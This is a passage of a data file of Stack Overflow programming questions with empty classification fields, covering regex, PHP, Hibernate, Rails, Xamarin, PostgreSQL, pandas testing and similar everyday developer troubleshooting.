text.</p>\n</blockquote>\n\n<p>My <code>Regex</code> should match <strong>only the 2nd and 3rd strings</strong> from the above list.</p>\n\n<p>So far, I've managed to write this following Regex, which excludes strings 1 and 5.</p>\n\n<pre><code>.*\\((?!\\-).+\\).*\n</code></pre>\n\n<p>This matches 2nd, 3rd, <strong>AND</strong> 4th strings above. Now I'm not sure how I can get it to exclude the 4th, one which contains spaces inside parenthesis. I know that <code>\\S</code> detects whitespaces, but how can I tell it to detect strings that do not contain spaces only within the parenthesis that don't contain a <code>-</code> after the first <code>(</code>?</p>\n\n<p><strong>EDIT 1:</strong></p>\n\n<p>There will never be nested parenthesis in my strings.</p>\n\n<p><strong>EDIT 2:</strong></p>\n\n<p>Here's a <a href=\"https://regex101.com/r/CfjSgb/1/\" rel=\"nofollow noreferrer\">Regex Tester</a>.</p>\n"},{"Classification":"","Title":"Insert values into an associative array within a loop","Body":"<p>I am new working with php, I am using a foreach loop to traverse an array of decoded objects. I would like to enter values to a new array for each iteration. This is a part of the code:</p>\n\n<pre><code>//example of array before decoding it [{\"id\":1,\"quantity\":12, other values...},{\"id\":2,\"quantity\":13,other values...}]\n$data = json_decode($request-&gt;data); \n$newArray = array();\n\nforeach ($data as $key =&gt; $value){\n $newArray[$key] = $value-&gt;{'id'} //[1,2,3....]\n}\n</code></pre>\n\n<p>at the moment I am generating a one-dimensional array, what I need is to obtain an array of this type: </p>\n\n<pre><code>[\n 1 =&gt; ['quantity' =&gt; $other], \n 2 =&gt; ['quantity' =&gt; $other]\n]\n</code></pre>\n\n<p>where 'other' would be another value that I get from my loop <code>$value-&gt;{'other'}</code>. How can I generate this?</p>\n"},{"Classification":"","Title":"PHP not calling array for quiz","Body":"<p>I just started setting up a quiz using PHP however I have run into a quick issue, the question is not calling the value specified in the array. For example it is saying:</p>\n\n<p>Is the opposite of green </p>\n\n<p>It is saying: What is opposite of on the color wheel?\nAnd the color is missing between the of and on?</p>\n\n<p>I have two separate files one contains the arrays:</p>\n\n<pre><code>&lt;?php\n$array['left'] = \"green\";\n$array['right'] = \"freed\";\n$array['up'] = \"down\";\n?&gt;\n</code></pre>\n\n<p>The other is the actual showing quiz:</p>\n\n<pre><code>&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n&lt;title&gt;Final Quiz&lt;/title&gt;\n&lt;/head&gt;\n&lt;body&gt;\n&lt;?php\ninclude(\"newquiz2.php\");\n print(\"What is opposite of $left on the color wheel?&lt;br&gt;\");\n print(\"&lt;form action='newquiz2check.php' method='get'&gt;\\n\");\n print(\"&lt;input type='text' name='left'&gt;&lt;br&gt;\\n\");\n print(\"&lt;input type='submit' value='Submit Answer'&gt;\");\n print(\"&lt;/form&gt;\\n\\n\\n\");\n\n?&gt;\n&lt;/body&gt;\n&lt;/html&gt;\n</code></pre>\n\n<p>I have tried adding:\n $left=@_GET[\"left\"];\nto the actual quiz page however it still returns the same result. Can anyone point out my error or something I am missing.</p>\n"},{"Classification":"","Title":"Search using dropdown list not working","Body":"<p>Refering to the <a href=\"https://stackoverflow.com/questions/49742149/viewmodel-to-display-dropdownlist-not-working\" title=\"https://stackoverflow.com/questions/49742149/viewmodel-to-display-dropdownlist-not-working\">question</a> I have asked few weeks ago, I have a new issue now. I have added few more dropdownlist and have been able to get all of them working but while searching one of it doesn't work. Below is the one that is not working. My dropdownlist is populated but while searching I don't get any results but in url it shows that list item I have picked.</p>\n\n<p>In my model class I added</p>\n\n<pre><code>public int? SectionID {get; set;}\npublic virtual Section Section {get; set;}\n</code></pre>\n\n<p>In my viewmodel class I added</p>\n\n<pre><code>public string SecClass{get; set;}\npublic IEnumerable&lt;SelectListItem&gt; secclasses {get; set;}\n</code></pre>\n\n<p>My view looks like</p>\n\n<pre><code>&lt;td&gt; &lt;label class=\"col-form-label col-form-label-lg\" for=\"inputLarge\"&gt; Section &lt;/label&gt; &lt;/td&gt;\n&lt;td&gt; @Html.DropDownListFor(s =&gt; s.SecClass, Model.secclasses, \"\", htmlAttributes: new { @class = \"form-control\", @id = \"exampleSelect1\" })&lt;/td&gt;\n</code></pre>\n\n<p>And here is my controller</p>\n\n<pre><code>var sec = db.Section.Select(s =&gt; s.Section1);\nviewModel.secclasses = new SelectList(sec);\n\nif(!String.IsNullOrEmpty(section))\n{\n aPPET1 = aPPET1.Where(s =&gt; s.Section.Section1.Contains(section));\n}\n</code></pre>\n\n<p>When I debug, \"sec\" will give me the list as desired. But \"section\" is showing up as null. </p>\n\n<p>From last two days I have been trying to figure out but no success yet. Can you point me where am I making mistake please?</p>\n"},{"Classification":"","Title":"Multiple Custom Fonts for application without specific TargetType","Body":"<p>I'm trying to import two custom fonts into my application. For now, I have added the fonts in respectively the <code>.Droid/Assets</code> and <code>.iOS/Resources</code> directories and for iOS loaded it in my Info.plist.</p>\n\n<p>In my App.xaml I do the following to load the fonts in my PCL: </p>\n\n<pre><code>&lt;Application.Resources&gt;\n &lt;ResourceDictionary&gt;\n &lt;Style x:Name=\"BoldFont\" TargetType=\"Label\"&gt;\n &lt;Setter Property=\"Label.FontFamily\"&gt;\n &lt;Setter.Value&gt;\n &lt;OnPlatform x:TypeArguments=\"x:String\"&gt;\n &lt;OnPlatform.Android&gt;PT_Sans-Narrow-Web-Regular.ttf#PT Sans Narrow&lt;/OnPlatform.Android&gt;\n &lt;OnPlatform.iOS&gt;PT Sans Narrow&lt;/OnPlatform.iOS&gt;\n &lt;/OnPlatform&gt;\n &lt;/Setter.Value&gt;\n &lt;/Setter&gt;\n &lt;/Style&gt;\n &lt;/ResourceDictionary&gt;\n&lt;/Application.Resources&gt;\n</code></pre>\n\n<p>However, i wish to be able to use multiple fonts in my Labels, being the reason why i added the following code into my <code>&lt;ResourceDictionary&gt;</code>:</p>\n\n<pre><code>&lt;Style x:Name=\"RegularFont\" TargetType=\"Label\"&gt;\n &lt;Setter Property=\"Label.FontFamily\"&gt;\n &lt;Setter.Value&gt;\n &lt;OnPlatform x:TypeArguments=\"x:String\"&gt;\n &lt;OnPlatform.Android&gt;RobotoCondensed-Regular.ttf#Roboto Condensed&lt;/OnPlatform.Android&gt;\n &lt;OnPlatform.iOS&gt;Roboto Condensed&lt;/OnPlatform.iOS&gt;\n &lt;/OnPlatform&gt;\n &lt;/Setter.Value&gt;\n &lt;/Setter&gt;\n&lt;/Style&gt;\n</code></pre>\n\n<p>Unfortunately, I'm getting the error:</p>\n\n<blockquote>\n <p>A resource with the key 'Xamarin.Forms.Label' is already present in the ResourceDictionary</p>\n</blockquote>\n\n<p>Furthermore, do I really have to make my TargetType specific to the Label, if say, I want to use the fonts globally regardless if it's a <code>Label</code> or an <code>Entry</code>?</p>\n"},{"Classification":"","Title":"Hibernate @OneToMany Composite primary key single table inheritance","Body":"<p>I have a big problem with proper cascading and selecting one to many relation.\nI have <code>Person</code> and <code>Company</code> which can have many addresses. I decided to go with single <code>address</code> table and discriminator column to tell us which object is related to it. Unfortunately I can't force hibernate to properly cascade <code>Person</code>'s id to <code>Address</code>. It is failing with error that <code>relation_id cannot be null</code>. I tried almost everything. Is there any way to make it work \"out of the box\" ? P.S. I tried with <code>MappedSuperClass</code> but with that solution <code>Discriminator</code> were not added to selects. Hibernate simply ignored that annotation.</p>\n\n<p>I have following design: </p>\n\n<pre><code>CREATE TABLE address (\nrelation_id int unsigned not null,\nrelation_type varchar(10) not null,\n...\nPRIMARY KEY (relation_id, relation_type)\n);\n\n`CREATE TABLE person (\nid int usnigned not null auto increment primary key,\n...\n);\n\nCREATE TABLE company (\nid int usnigned not null auto increment primary key,\n...\n);\n</code></pre>\n\n<p>I want to map it in following manner:</p>\n\n<pre><code>@Entity\n@Access(AccessType.FIELD)\n@Inheritance(strategy = InheritanceType.SINGLE_TABLE)\n@DiscriminatorColumn(name = \"relation_type\")\n@DiscriminatorOptions(force = true, insert = false)\npublic abstract class Address {\n @EmbeddedId\n protected AddressId id;\n}\n\n@Embeddable\n@Access(AccessType.FIELD)\npublic class AddressId implements Serializable {\n private static final long serialVersionUID = 4895623076638921341L;\n\n @Column(name = \"relation_id\", nullable = false, updatable = false, insertable = false)\n private Long relationId;\n\n @Column(name = \"relation_type\")\n private String relationType;\n\n protected AddressId() {\n }\n\n public AddressId(Long relationId, String relType) {\n this();\n this.relationId = relationId;\n this.relationType = relType;\n }\n}\n\n@Entity\n@DiscriminatorValue(\"PERSON\")\npublic class PersonAddress extends Address {\n @MapsId(\"relationId\")\n @ManyToOne(fetch = FetchType.LAZY)\n @JoinColumn(name = \"relation_id\")\n private Person relation;\n\n protected PersonAddress() {\n }\n\n public PersonAddress(Person person) {\n this.id = new AddressId(person, \"PERSON\");\n this.relation = person;\n }\n}\n\n@Entity\npublic class Person {\n @OneToMany(fetch = FetchType.LAZY, mappedBy = \"relation\", cascade = CascadeType.ALL)\n private Set&lt;PersonAddress&gt; addresses;\n}\n</code></pre>\n"},{"Classification":"","Title":"Ruby-on-Rails Where Clause with Parent Field","Body":"<p>I have a basic data model with parent-child relationship between Import and ProductLicenseData defined as:</p>\n\n<pre><code>class Import &lt; ActiveRecord::Base\n has_many :product_license_data, class: ProductLicenseData, dependent: :destroy\n\n att_reader :extract_at\nend\n\nclass ProductLicenseData &lt; ActiveRecord::Base\n belongs_to :import\n\nend\n</code></pre>\n\n<p>I want to write a method on ProductLicenseData that will return all \"active\" records, where \"active\" is defined as a record where \"expirationDate\" (a field in the database table the model represents) is greater than import's \"extracted_at\" value (a field on the database table that model represents). As such, I have something like</p>\n\n<pre><code>def self.active\n where(\"\\\"expirationDate\\\" &gt; #{import.extracted_at}\")\n\nend\n</code></pre>\n\n<p>But this doesn't work. I have also tried:</p>\n\n<pre><code>def self.active\n ProductLicenseData.joins(:import).where(\"expirationDate &gt; ?\", import.extracted_at)\nend\n</code></pre>\n\n<p>And just about every variation I can think of. Most end up with it telling me it doesn't know what \"import\" is, or \"extracted_at\". This seems like something that should be simple, but I am at a loss. How do I write this?</p>\n"},{"Classification":"","Title":"Generate load base class field","Body":"<p>I have a Base class with a readonly string field:</p>\n\n<pre><code>public class BaseClass {\n readonly String field;\n public BaseClass() {\n field = \"random\";\n }\n}\n</code></pre>\n\n<p>And i'm generating an instance method, inside a class that extends from the Base one via System.Reflection.Emit, which uses that field but i don't seem to be able to access it via:</p>\n\n<pre><code>(...)\nMethodBuilder methB = typeBuilder.DefineMethod(method, MethodAttributes.Public, CallingConventions.HasThis, typeof(String), new Type[] { typeof(Object) });\nILGenerator methGen = methB.GetILGenerator();\nmethGen.Emit(OpCodes.Ldarg_0);\nmethGen.Emit(OpCodes.Ldfld, typeof(BaseClass).GetField(\"field\"));\n(...)\n</code></pre>\n\n<p>The problem is how do i access the field? From the base class or from the current class i'm building in the last case i don't have the Type yet.</p>\n"},{"Classification":"","Title":".webm video not buffering, not tracking, not downloadable","Body":"<p>I have a very basic HTML5 video element serving a static webm video. There isn't even really any code to share, it's just a video element:</p>\n\n<pre><code>&lt;video src=\"./tmp/video.webm\" type=\"video/webm\" controls&gt;&lt;/video&gt;\n</code></pre>\n\n<p>The video loads just fine but there's no download button, the tracking bar doesn't work, and nothing seems to buffer by itself.</p>\n\n<p><a href=\"https://i.stack.imgur.com/PqVDl.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/PqVDl.png\" alt=\"no download button, no tracking on video element serving static file\"></a></p>\n\n<p>Once I play the video all the way to the end then the download button shows up immediately and the tracking bar starts working. Every time I google this 100% of the results are about <em>hiding</em> the download button, nothing at all about getting it to show up in the first place.</p>\n"},{"Classification":"","Title":"Calculating Hash Collisions with 160 bits","Body":"<p>Assume a hash function that produces digests of 160 bits. How many messages do we need to hash to get a collision with approximately 75% probability?</p>\n\n<p>Thank you for you help :)</p>\n"},{"Classification":"","Title":"Postgres Psycopg2 Create Table","Body":"<p>i´m new to Postgres and Python. I´m trying to create a simple user table but i don´t know why it isn´t creating.\nThe error message doesn´t appear, </p>\n\n<pre><code> #!/usr/bin/python\n import psycopg2\n\n try:\n conn = psycopg2.connect(database = \"projetofinal\", user = \"postgres\", password = \"admin\", host = \"localhost\", port = \"5432\")\n except:\n print(\"I am unable to connect to the database\") \n\n cur = conn.cursor()\n try:\n cur.execute(\"CREATE TABLE test (id serial PRIMARY KEY, num integer, data varchar);\")\n except:\n print(\"I can't drop our test database!\")\n\n conn.close()\n cur.close()\n</code></pre>\n"},{"Classification":"","Title":"How to stop WooCommerce and WooWallet rounding prices","Body":"<p>I'm using the <a href=\"https://docs.woocommerce.com/document/woocommerce-rest-api/\" rel=\"nofollow noreferrer\">WooCommerce REST API</a> to send debit values to my WooCommerce Wallet and the values are really small(R$0.004 - R$ 0.007 - 0.014 and so on) but when it gets to WooWallet it gets rounded up or down. Any thoughts on solving this? <a href=\"https://i.stack.imgur.com/UX1Or.png\" rel=\"nofollow noreferrer\">Screenshot of values</a></p>\n"},{"Classification":"","Title":"Multiple Pages displayed on a single page","Body":"<p>I have 5 webpages that I want to display/load in a single page, I thought of using iFrame to load them, but the problem is that, I can't access the other pages unless I fill a form and submit it before I get to access the second page, also same for the third, fourth and fifth.</p>\n\n<p>\"I thought of loading the single page and dynamically fill the first form with dummy text then submit it dynamically so that the second page will load in the second iframe and then the second page too will be filled with the dummy text and so on till the fifth, whilst still making sure that the user can edit any of the input in the forms.\"</p>\n\n<p>I want when the user open the first page to see all forms in a single page, I'm just afraid this would not be fast/best method.</p>\n\n<p>Which workaround, Javascript, jQuery, best method, or idea can i use to achieve this?</p>\n"},{"Classification":"","Title":"How can I resolve it with Insert Into sprintif?","Body":"<p>I installed a system with Xampp 5.6. Apache 5.6 and PhpMyAdmin 4.7.7. and I have this problem when insert on system.</p>\n\n<blockquote>\n <p>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ')' at line 1</p>\n</blockquote>\n\n<p>My code for insert is: </p>\n\n<pre><code>&lt;pre&gt; \n\nif ((isset($_POST[\"MM_insert\"])) &amp;&amp; ($_POST[\"MM_insert\"] == \"agrega_inventario\")) {\n $insertSQL = sprintf(\"INSERT INTO inventario_computo \n (fecha_alta, observaciones, valor, iva, total, \n comodato, num_factura, id_personal, \n id_computo_categoria, id_inventario_lugar, \n id_inventario_proveedor, id_municipio, nombre, \n descripcion, num_serie, num_modelo, marca, \n status, num_baja, num_inventario,\n resguardo, rubro) \n VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, \n %s, %s, %s, %s, %s, %s, 0,%s,0,%s)\",\n GetSQLValueString($_POST['fecha_alta'], \"date\"),\n GetSQLValueString($_POST['observaciones'], \"text\"),\n GetSQLValueString($_POST['valor'], \"double\"),\n GetSQLValueString($_POST['iva'], \"double\"),\n GetSQLValueString($_POST['total'], \"double\"),\n GetSQLValueString($_POST['comodato'], \"int\"),\n GetSQLValueString($_POST['num_factura'], \"text\" /* \"int\" BOMS (05/Oct/2015) Se cambio el Tipo de dato */),\n GetSQLValueString($_POST['id_personal'], \"int\"),\n GetSQLValueString($_POST['id_inventario_categoria'], \"int\"),\n GetSQLValueString($lugar_post, \"int\"),\n GetSQLValueString($proveedor_post, \"int\"),\n GetSQLValueString($_POST['id_municipio'], \"int\"),\n GetSQLValueString($_POST['nombre_bien'], \"text\"),\n GetSQLValueString($_POST['descripcion'], \"text\"),\n GetSQLValueString($_POST['num_serie'], \"text\"),\n GetSQLValueString($_POST['num_modelo'], \"text\"),\n GetSQLValueString($_POST['marca'], \"text\"),\n GetSQLValueString($_POST['id_inventario_status'], \"int\"),\n GetSQLValueString($_POST['num_inventario'], \"text\"),\n GetSQLValueString($_POST['rubro'], \"int\"));\n</code></pre>\n\n<p>I can't fix it.</p>\n"},{"Classification":"","Title":"Different SPID in Status Bar than @@SPID","Body":"<p>Today I ran into something I haven't seen before. I think it's actually a bug, but I figured I'd ask if anyone else has seen this before.</p>\n\n<p>The SPID displayed in the status bar of one of my query windows doesn't match the result of <code>SELECT @@SPID</code> executed in that window. See screenshot in link below (note that username and server name edited out with red blocks for privacy). Status bar says \"158\", but <code>SELECT @@SPID</code> returns \"168\". </p>\n\n<p><a href=\"https://i.stack.imgur.com/DMFOv.jpg\" rel=\"nofollow noreferrer\">SPID_Mismatch_Screenshot</a></p>\n\n<p>In the past I have always relied on the SPID in the status bar if I have to kill one of my processes, but now I am worried that I can not rely on them. </p>\n\n<p>I have no idea how it happened; I wasn't doing anything unusual. I just was running a query I've run many times in the past, went to check on what else was running on the server with sp_whoisactive. Then I noticed the SPID in the output of sp_whoisactive for my query was 168, which didn't match the 158 I was seeing in the status bar. I returned to the window labeled 158 and ran <code>SELECT @@SPID</code> just to make sure it wasn't just an issue with the sp_whoisactive procedure, and sure enough it was 168 as well. </p>\n\n<p>Has anyone else run into this before? Are there times when these numbers are known to be different? Any ideas of where the \"158\" could have originated from?</p>\n\n<p>I'm using </p>\n\n<blockquote>\n <p>Microsoft SQL Server 2016 Enterprise SP1: Core-based Licensing\n (64-bit) Version 13.0.4411.0</p>\n</blockquote>\n\n<p>by the way. Any help would be appreciated. Thanks!</p>\n"},{"Classification":"","Title":"Keyerror when trying to testsuite pytest with pandas","Body":"<p>Hi there all machine learning and python experts. I seek your help.</p>\n\n<p>I have recently seen into google ml crash course. They recommended to get familiar with pandas before starting the crash course.</p>\n\n<p>So, I have installed pip v8.1.1 using python v3.5.2 and pandas from pip. And also installed pytest 3.5.1 using pip.</p>\n\n<p>But when I tried to use the recommended test suite given in the documentation of pandas <a href=\"http://pandas.pydata.org/pandas-docs/stable/install.html\" rel=\"nofollow noreferrer\">installation page</a> , I got errors.</p>\n\n<pre><code>user@host:~$ python3\nPython 3.5.2 (default, Nov 23 2017, 16:37:01) \n[GCC 5.4.0 20160609] on linux\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n&gt;&gt;&gt; import pandas as pd\n&gt;&gt;&gt; pd.test()\nrunning: pytest --skip-slow --skip-network /home/ashraf/.local/lib/python3.5/site-packages/pandas\n==================================================================== test session starts ====================================================================\nplatform linux -- Python 3.5.2, pytest-3.5.1, py-1.5.3, pluggy-0.6.0\nrootdir: /home/user, inifile:\ncollected 0 items / 1 errors \n\n========================================================================== ERRORS ===========================================================================\n_____________________________________________________________________ ERROR collecting _____________________________________________________________________\n.local/lib/python3.5/site-packages/_pytest/config.py:334: in _getconftestmodules\n return self._path2confmods[path]\nE KeyError: local('/home/user/.local/lib/python3.5/site-packages/pandas/tests/io')\n\nDuring handling of the above exception, another exception occurred:\n.local/lib/python3.5/site-packages/_pytest/config.py:365: in _importconftest\n return self._conftestpath2mod[conftestpath]\nE KeyError: local('/home/user/.local/lib/python3.5/site-packages/pandas/tests/io/conftest.py')\n\nDuring handling of the above exception, another exception occurred:\n.local/lib/python3.5/site-packages/_pytest/config.py:371: in _importconftest\n mod = conftestpath.pyimport()\n.local/lib/python3.5/site-packages/py/_path/local.py:668: in pyimport\n __import__(modname)\n.local/lib/python3.5/site-packages/_pytest/assertion/rewrite.py:213: in load_module\n py.builtin.exec_(co, mod.__dict__)\n.local/lib/python3.5/site-packages/pandas/tests/io/conftest.py:3: in &lt;module&gt;\n import moto\nE ImportError: No module named 'moto'\n\nDuring handling of the above exception, another exception occurred:\n.local/lib/python3.5/site-packages/py/_path/common.py:377: in visit\n for x in Visitor(fil, rec, ignore, bf, sort).gen(self):\n.local/lib/python3.5/site-packages/py/_path/common.py:429: in gen\n for p in self.gen(subdir):\n.local/lib/python3.5/site-packages/py/_path/common.py:418: in gen\n dirs = self.optsort([p for p in entries\n.local/lib/python3.5/site-packages/py/_path/common.py:419: in &lt;listcomp&gt;\n if p.check(dir=1) and (rec is None or rec(p))])\n.local/lib/python3.5/site-packages/_pytest/main.py:434: in _recurse\n ihook = self.gethookproxy(path)\n.local/lib/python3.5/site-packages/_pytest/main.py:338: in gethookproxy\n my_conftestmodules = pm._getconftestmodules(fspath)\n.local/lib/python3.5/site-packages/_pytest/config.py:348: in _getconftestmodules\n mod = self._importconftest(conftestpath)\n.local/lib/python3.5/site-packages/_pytest/config.py:376: in _importconftest\n raise ConftestImportFailure(conftestpath, sys.exc_info())\nE _pytest.config.ConftestImportFailure: ImportError(\"No module named 'moto'\",)\nE File \"/home/user/.local/lib/python3.5/site-packages/_pytest/assertion/rewrite.py\", line 213, in load_module\nE py.builtin.exec_(co, mod.__dict__)\nE File \"/home/user/.local/lib/python3.5/site-packages/pandas/tests/io/conftest.py\", line 3, in &lt;module&gt;\nE import moto\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Interrupted: 1 errors during collection !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n================================================================== 1 error in 0.59 seconds ==================================================================\n</code></pre>\n\n<p>Now, how may I fix it, what may I be doing wrong or missing any package? Please, help me in it.</p>\n"},{"Classification":"","Title":"How to call wizard in create method in odoo-11?","Body":"<p>I need to call a wizard from Create method, I searched a lot on the web and I found that is impossible to achieve that. My purpose is to check if a condition is true or not before creating a new record and if this condition is true a wizard will be called. Otherwise, the record will be created normally.</p>\n\n<p>The pseudo-code is like below :</p>\n\n<pre><code>@api.model\ndef create(self, vals)\nif condition:\n return wizard\nelse:\n return super(model_name, self).create(vals)\n</code></pre>\n\n<p>Any help, please ?</p>\n"},{"Classification":"","Title":"Audio playbackRate not working with AngularJS","Body":"<p>I'm trying to change the HTML5 audio player speed. Here's my code:</p>\n\n<pre><code>app.controller('HomeController', function($scope, $document, ...) {\n\nvar audioPlayer0 = $document[0].getElementById(\"audioPlayer0\");\nconsole.log(audioPlayer0);\naudioPlayer0.playbackRate = 0.5;\nconsole.log(audioPlayer0.playbackRate);\n\n};\n</code></pre>\n\n<p>Here's the log:</p>\n\n<pre><code>&lt;audio controls preload=​\"auto\" id=​\"audioPlayer0\" ng-src=​\"http:​/​/​audio.oxforddictionaries.com/​en/​mp3/​not_us_1.mp3\"&gt;​…​&lt;/audio&gt;​\n0.5\n</code></pre>\n\n<p>AngularJS uses <code>$document</code> instead of <code>document</code>. <code>getElementById</code> is picking up the right element. The value of <code>playbackRate</code> is set. But the audio player continues to play at normal speed. Any idea what's wrong?</p>\n"},{"Classification":"","Title":"ShowMessage() behavoir in FireMonkey on iOS","Body":"<p>I have a simple FMX multi-device C++ app. The app has 1 Form and nothing else. In the Form's <code>OnShow</code> event, I initiate a function I named <code>StartupCode()</code>. All of the code is shown below.</p>\n\n<p>When I run the app on <strong>Windows</strong>, I get expected behavior - the 3 messages pop up in the correct order with the correct timing (e.g. each <code>Sleep()</code> only starts after the previous dialog box has been acknowledged by clicking OK).</p>\n\n<p>When I run the app on <strong>iOS</strong> or <strong>Android</strong>, I get the last message popup first (\"Slept 2 sec\") but only after the entire time has elapsed (12.25 seconds). Then immediately after acknowledging by clicking OK, I get the \"Slept 10 sec\" message, and likewise after that I get the \"Slept quarter sec\" message.</p>\n\n<pre><code>#include &lt;System.SysUtils.hpp&gt;\n\nvoid StartupCode()\n{\n Sleep(250);\n ShowMessage(\"Slept quarter sec\");\n Sleep(10000); \n ShowMessage(\"Slept 10 sec\");\n Sleep(2000); \n ShowMessage(\"Slept 2 sec\");\n}\n\nvoid __fastcall TForm1::FormShow(TObject *Sender)\n{\n #if defined(_PLAT_IOS) || defined(_PLAT_ANDROID)\n TThread::ForceQueue(nullptr, [this](){StartupCode();});\n #endif\n\n #if defined(_PLAT_MSWINDOWS)\n StartupCode();\n #endif\n}\n</code></pre>\n\n<p>I'm green and just trying to learn a bit. I was testing to see if a thread would get into trouble with Apple's app start watchdog timers when I ran into this weird behavior. </p>\n\n<p>Why does this behavior happen?</p>\n"},{"Classification":"","Title":"Events not saving in production","Body":"<p>Thanks in advance for your help figuring this out...</p>\n\n<p>I was able to install the gem in my development environment and everything works as expected—I see both visits and events being tracked. Visits are automatically tracked and I can invoke a javascript event that is recorded in the database. (I can use both the console and a javascript click event to capture an event)</p>\n\n<p>When I deploy to production however, visits are tracked and recorded, but events are failing with a 500 error. I've been trying to debug the issue, but can't seem to figure out why it's happening. If anyone has a spare minute, I'd appreciate your ideas on how to track this down and get event tracking working in production?</p>\n\n<p>My development and production environments are similar:</p>\n\n<pre><code>macOS / ubuntu 14.04 LTS\nruby 2.3.1 (both)\nrails 4.2.7.1 (both)\nahoy_matey 2.0.2 (both)\n(similar other gems list on both)\nPostgres database (9.6.2 mac / 9.4.17 production)\nrbenv for ruby version / gem set management (both)\npuma-dev on mac, Puma in production\n</code></pre>\n\n<p>As mentioned above, in development, I can use the console to trigger an event that works as expected:</p>\n\n<pre><code>&gt; ahoy.track(\"PDF Download\", {file_name: \"02_implementation_guide.pdf\"});\n&gt; true\n</code></pre>\n\n<p>But in production the same throws an error:</p>\n\n<pre><code>&gt; ahoy.track(\"PDF Download\", {file_name: \"02_implementation_guide.pdf\"});\n&gt; true\n&gt; POST https://www.[sitename].com/ahoy/events 500 (Internal Server Error)\n</code></pre>\n\n<p>Looking at my Puma error logs in production, I see this error:</p>\n\n<pre><code>2018-04-25 14:35:23 -0600: Rack app error handling request { POST /ahoy/events }\n#&lt;ArgumentError: wrong number of arguments (given 0, expected 1)&gt;\n/home/deploy/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.1/gems/activesupport-4.2.7.1/lib/active_support/core_ext/kernel/reporting.rb:89:in `capture'\n/home/deploy/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.1/gems/ahoy_matey-2.0.2/lib/ahoy/engine.rb:16:in `call_with_quiet_ahoy'\n/home/deploy/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.1/gems/request_store-1.4.1/lib/request_store/middleware.rb:19:in `call'\n/home/deploy/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.1/gems/actionpack-4.2.7.1/lib/action_dispatch/middleware/request_id.rb:21:in `call'\n/home/deploy/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.1/gems/rack-1.6.5/lib/rack/methodoverride.rb:22:in `call'\n/home/deploy/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.1/gems/rack-1.6.5/lib/rack/runtime.rb:18:in `call'\n/home/deploy/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.1/gems/activesupport-4.2.7.1/lib/active_support/cache/strategy/local_cache_middleware.rb:28:in `call'\n/home/deploy/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.1/gems/rack-1.6.5/lib/rack/sendfile.rb:113:in `call'\n/home/deploy/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.1/gems/railties-4.2.7.1/lib/rails/engine.rb:518:in `call'\n/home/deploy/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.1/gems/railties-4.2.7.1/lib/rails/application.rb:165:in `call'\n/home/deploy/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.1/gems/puma-3.6.0/lib/puma/configuration.rb:225:in `call'\n/home/deploy/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.1/gems/puma-3.6.0/lib/puma/server.rb:578:in `handle_request'\n/home/deploy/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.1/gems/puma-3.6.0/lib/puma/server.rb:415:in `process_client'\n/home/deploy/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.1/gems/puma-3.6.0/lib/puma/server.rb:275:in `block in run'\n/home/deploy/.rbenv/versions/2.3.1/lib/ruby/gems/2.3.1/gems/puma-3.6.0/lib/puma/thread_pool.rb:116:in `block in spawn_thread'\n</code></pre>\n\n<p>I've tried following that trace through to see what might be causing that, and also tried turning on Ahoy debugging, but I've not been able to figure it out yet, so I thought I'd ask for help. Thanks (again) in advance.</p>\n\n<p>Update: Just checked my routes on both dev and production and they are exactly the same (as expected)</p>\n\n<p>Update: Ruby versions on each machine are similar:</p>\n\n<pre><code>Development: 2.3.1p112 (2016-04-26 revision 54768) [x86_64-darwin16]\nProduction: 2.3.1p112 (2016-04-26 revision 54768) [x86_64-linux]\n</code></pre>\n"},{"Classification":"","Title":"Handing duplication in change with/without ng-pristine or ng-dirty or ng-invalid","Body":"<p>I was trying to change the form elements with different data. Before changing anything in the form elements like input type text or drop down or toggle button anything I was displaying change button as disabled. When user try to change something in any form field. Based on condition ng pristine or dirty the disabled changed button gets active, but I did removed the value and entered the same value. Can you please explain how to handle the duplication while changing the form. Thanks</p>\n"},{"Classification":"","Title":"Where are postgresql aggregate functions stored?","Body":"<p>I have created an aggregate function and I can even use it. But I cannot find it under any of the DB hierarchies. It's not under Functions.</p>\n\n<p>Are they hidden from view? I'm using pgAdmin ide.</p>\n"},{"Classification":"","Title":"How helpful can PyMesh be in indentifying flat surfaces and centroids on those flat surfaces?","Body":"<p><a href=\"https://i.stack.imgur.com/COeNW.png\" rel=\"nofollow noreferrer\">Image of Surfaces</a></p>\n\n<p>In the picture, two flat surfaces of interest are shown in white: FlatSurface1 and FlatSurface2. Would PyMesh be helpful in helping me identify the flat surfaces on my 3D mesh models? And on those flat surfaces, would PyMesh be able to find the centroids of those flat surfaces? For example, in the picture I placed one red centroid dot for Surface1, and 4 centroid dots on Surface2.</p>\n\n<p>I'd greatly appreciate any helpful information, or recomendations for other ways to work with mesh files for my needs.</p>\n"},{"Classification":"","Title":"React-Native android device can't see console remote debugging","Body":"<p>I'm working on a React-Native app, I am testing it on a physical android device, the MOTO Z2 Play. I would run an emulator, except I have an AMD processor on my rig and can't run those emulators, unfortunately.</p>\n\n<p>So I'm trying to enable remote debugging on this device while developing, so I can see console.log() statements that I put in the code. The problem is that when I the debugger opens the browser and I go to the console to view the logs I see the following errors:</p>\n\n<p><a href=\"https://i.stack.imgur.com/hSSud.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hSSud.png\" alt=\"enter image description 